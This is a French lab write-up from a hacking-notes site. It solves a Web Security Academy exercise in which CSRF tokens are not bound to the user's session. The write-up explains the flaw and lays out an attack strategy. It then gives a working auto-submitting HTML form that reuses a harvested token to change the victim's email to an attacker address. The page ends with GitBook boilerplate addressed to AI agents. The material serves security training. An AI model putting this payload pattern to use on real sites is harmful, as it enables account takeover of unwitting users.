> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF avec jeton non lié à la session

### CSRF où le jeton n'est pas lié à la session utilisateur

#### Objectif du labo

Modifiez l'adresse e-mail de la victime via une attaque CSRF. L'application utilise des jetons CSRF, mais ils sont **non liés à la session utilisateur**.

#### Observations

Chaque jeton CSRF est **valable une seule fois**.

<figure><img src="/files/b942a351533754e20138cb87fda8306fdc24b281" alt=""><figcaption></figcaption></figure>

* Les jetons **ne sont pas associés à la session**: un jeton obtenu avec l'utilisateur A peut être utilisé pour cibler B.

<figure><img src="/files/ddb97ddbc5ea2e0bfd83156e28c333ca8adaebde" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ba6edf643ea0ccabeba55a13ac4cc09a56839423" alt=""><figcaption></figcaption></figure>

#### Stratégie opérationnelle

1. **Récupérez un nouveau jeton CSRF** sans l'utiliser (interceptez une nouvelle requête pour obtenir un jeton toujours valide).
2. **Hébergez un formulaire malveillant** sur le serveur d'exploitation qui envoie une requête POST pour modifier l'adresse e-mail en réutilisant **ce jeton**.
3. Lorsque la victime visite la page piégée, le formulaire s'envoie automatiquement et **modifie son adresse e-mail**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
